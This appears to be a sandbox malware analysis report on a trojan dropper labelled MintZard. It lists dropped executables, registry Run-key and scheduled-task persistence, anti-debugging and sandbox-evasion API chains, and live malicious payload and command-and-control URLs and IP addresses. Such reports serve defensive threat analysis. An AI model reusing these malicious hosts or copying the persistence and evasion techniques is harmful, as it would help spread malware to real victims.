Source: C:\Windows\sysnldcvmr.exe	File created: C:\Users\user\AppData\Local\Temp\2693731851.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

File created: C:\Windows\sysnldcvmr.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\LM94OE0VNK.exe	File opened: C:\Users\user\AppData\Local\Temp\2374323789.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	File opened: C:\Users\user\AppData\Local\Temp\2374323789.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	File opened: C:\Windows\sysnldcvmr.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	File opened: C:\Users\user\AppData\Local\Temp\240016073.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	File opened: C:\Users\user\AppData\Local\Temp\2693731851.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040CCF0	3_2_0040CCF0
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_0040CCF0	4_2_0040CCF0
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040CCF0	7_2_0040CCF0

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\sysnldcvmr.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_4-4357
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_3-4355
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_3-4355
Source: C:\Windows\sysnldcvmr.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_4-4357

Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Memory allocated: 1660000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Memory allocated: 1C0F0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\240016073.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Evaded block: after key decision	graph_3-4416
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Evaded block: after key decision	graph_3-4357
Source: C:\Windows\sysnldcvmr.exe	Evaded block: after key decision	graph_7-4355

Source: C:\Windows\sysnldcvmr.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_4-5747
Source: C:\Windows\sysnldcvmr.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_4-4374
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_3-4371
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_3-5280

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	API coverage: 3.9 %
Source: C:\Windows\sysnldcvmr.exe	API coverage: 1.0 %

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040CCF0		3_2_0040CCF0
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040CCF0		7_2_0040CCF0

Source: C:\Windows\sysnldcvmr.exe TID: 7688	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe TID: 7688	Thread sleep count: 161 > 30	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe TID: 4428	Thread sleep time: -93990s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe TID: 7932	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_004066B0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	3_2_004066B0
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00406570 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_00406570
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_004066B0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_004066B0
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00406570 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00406570
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_004066B0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	7_2_004066B0
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00406570 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_00406570

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

Code function: 3_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

3_2_00402020

Source: C:\Windows\sysnldcvmr.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Thread delayed: delay time: 93990	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: sysnldcvmr.exe, 00000004.00000002.1688257376.0000000000703000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI!m
Source: LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000088A000.00000004.00000020.00020000.00000000.sdmp, LM94OE0VNK.exe, 00000000.00000002.1476552033.00000000008BC000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688257376.0000000000703000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	API call chain: ExitProcess graph end node	graph_3-4366
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	API call chain: ExitProcess graph end node	graph_3-4356
Source: C:\Windows\sysnldcvmr.exe	API call chain: ExitProcess graph end node	graph_4-4391
Source: C:\Windows\sysnldcvmr.exe	API call chain: ExitProcess graph end node	graph_4-4358
Source: C:\Windows\sysnldcvmr.exe	API call chain: ExitProcess graph end node	graph_4-4366
Source: C:\Windows\sysnldcvmr.exe	API call chain: ExitProcess graph end node	graph_7-4390
Source: C:\Windows\sysnldcvmr.exe	API call chain: ExitProcess graph end node	graph_7-4366

Source: C:\Users\user\AppData\Local\Temp\240016073.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

Code function: 0_2_009C1B48 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

0_2_009C1B48

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

Code function: 3_2_00409EE0 GetProcessHeaps,

3_2_00409EE0

Source: C:\Users\user\AppData\Local\Temp\240016073.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

Code function: 0_2_009C1B48 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

0_2_009C1B48

Source: C:\Users\user\AppData\Local\Temp\240016073.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: GetLocaleInfoA,strcmp,	3_2_0040E730
Source: C:\Windows\sysnldcvmr.exe	Code function: GetLocaleInfoA,strcmp,	4_2_0040E730
Source: C:\Windows\sysnldcvmr.exe	Code function: GetLocaleInfoA,strcmp,	7_2_0040E730

Source: C:\Users\user\AppData\Local\Temp\240016073.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\240016073.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

Code function: 0_2_009C1A78 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_009C1A78

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	3_2_00401470
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	3_2_00402020
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040D710 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	3_2_0040D710
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_004013B0 CreateEventA,socket,bind,CreateThread,	3_2_004013B0
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	4_2_00401470
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	4_2_00402020
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_0040D710 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	4_2_0040D710
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_004013B0 CreateEventA,socket,bind,CreateThread,	4_2_004013B0
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	7_2_00401470
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	7_2_00402020
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040D710 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	7_2_0040D710
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_004013B0 CreateEventA,socket,bind,CreateThread,	7_2_004013B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 Obfuscated Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	11 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	121 Masquerading	NTDS	25 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Modify Registry	LSA Secrets	231 Security Software Discovery	SSH	Keylogging	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LM94OE0VNK.exe	53%	ReversingLabs	Win32.Trojan.MintZard
LM94OE0VNK.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\2374323789.exe	100%	Avira	HEUR/AGEN.1315882
C:\Windows\sysnldcvmr.exe	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Temp\2693731851.exe	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Temp\2374323789.exe	100%	Joe Sandbox ML
C:\Windows\sysnldcvmr.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\240016073.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2693731851.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe	75%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\2374323789.exe	75%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\240016073.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\2693731851.exe	75%	ReversingLabs	Win32.Trojan.MintZard
C:\Windows\sysnldcvmr.exe	75%	ReversingLabs	Win32.Trojan.MintZard

Source	Detection	Scanner	Label
http://twizt.net/	0%	Avira URL Cloud	safe
http://91.202.233.141/gonupll9z	100%	Avira URL Cloud	malware
http://twizt.net/peinstall.phpP	0%	Avira URL Cloud	safe
http://185.215.113.66/2C:	100%	Avira URL Cloud	malware
http://91.202.233.141/gonup	100%	Avira URL Cloud	malware
http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s	100%	Avira URL Cloud	malware
http://185.215.113.66/1y	100%	Avira URL Cloud	malware
http://185.215.113.66/2IIC:	100%	Avira URL Cloud	malware
http://185.215.113.66/1~	100%	Avira URL Cloud	malware
http://185.215.113.66/2?	100%	Avira URL Cloud	malware
http://twizt.net/peinstall.php%temp%%s	0%	Avira URL Cloud	safe
http://91.202.233.141/gonup8	100%	Avira URL Cloud	malware
http://twizt.net/peinstall.phpvPO	0%	Avira URL Cloud	safe
http://twizt.net/newtpp.exeP0	0%	Avira URL Cloud	safe
http://91.202.233.141/gonup1	100%	Avira URL Cloud	malware
http://twizt.net/newtpp.exe	0%	Avira URL Cloud	safe
http://twizt.net/peinstall.php	0%	Avira URL Cloud	safe
http://twizt.net/peinstall.phpystem32	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
twizt.net	185.215.113.66	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/1y	sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/	LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000089F000.00000004.00000020.00020000.00000000.sdmp, LM94OE0VNK.exe, 00000000.00000002.1476552033.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/1~	sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/peinstall.phpP	LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000088A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/gonupll9z	sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	newtpp[1].exe.0.dr	false		high
http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s	2374323789.exe, 00000003.00000003.1479100404.0000000000708000.00000004.00000020.00020000.00000000.sdmp, 2374323789.exe, 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 2374323789.exe, 00000003.00000000.1448282216.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysnldcvmr.exe, 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000004.00000003.1630375617.0000000004561000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000000.1479054987.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000000.1604584854.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 2693731851.exe, 0000000E.00000002.1683491729.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2693731851.exe, 0000000E.00000000.1651816299.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2374323789.exe.0.dr, sysnldcvmr.exe.3.dr, 2693731851.exe.4.dr, newtpp[1].exe.0.dr	false	Avira URL Cloud: malware	unknown
http://91.202.233.141/	2374323789.exe, 00000003.00000003.1479100404.0000000000708000.00000004.00000020.00020000.00000000.sdmp, 2374323789.exe, 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 2374323789.exe, 00000003.00000000.1448282216.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysnldcvmr.exe, 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000004.00000003.1630375617.0000000004561000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000000.1479054987.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000000.1604584854.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 2693731851.exe, 0000000E.00000002.1683491729.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2693731851.exe, 0000000E.00000000.1651816299.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2374323789.exe.0.dr, sysnldcvmr.exe.3.dr, 2693731851.exe.4.dr, newtpp[1].exe.0.dr	false		high
http://91.202.233.141/gonup	sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688560492.00000000020D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	newtpp[1].exe.0.dr	false		high
http://185.215.113.66/2	sysnldcvmr.exe, 00000004.00000002.1688593287.00000000021DB000.00000004.00000010.00020000.00000000.sdmp	false		high
http://185.215.113.66/2C:	sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/1	sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.66/2IIC:	sysnldcvmr.exe, 00000004.00000002.1688257376.0000000000733000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/2?	sysnldcvmr.exe, 00000004.00000002.1688257376.000000000075B000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/peinstall.phpp	LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000089F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/gonup8	sysnldcvmr.exe, 00000004.00000002.1690356108.00000000057AD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/peinstall.php%temp%%s	LM94OE0VNK.exe	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/	2374323789.exe, 00000003.00000003.1479100404.0000000000708000.00000004.00000020.00020000.00000000.sdmp, 2374323789.exe, 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 2374323789.exe, 00000003.00000000.1448282216.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysnldcvmr.exe, 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000004.00000003.1630375617.0000000004561000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000000.1479054987.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000000.1604584854.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 2693731851.exe, 0000000E.00000002.1683491729.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2693731851.exe, 0000000E.00000000.1651816299.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2374323789.exe.0.dr, sysnldcvmr.exe.3.dr, 2693731851.exe.4.dr, newtpp[1].exe.0.dr	false		high
http://91.202.233.141/gonup1	sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/newtpp.exeP0	LM94OE0VNK.exe	false	Avira URL Cloud: safe	unknown
http://twizt.net/peinstall.phpystem32	LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000089F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/peinstall.phpvPO	LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000088A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
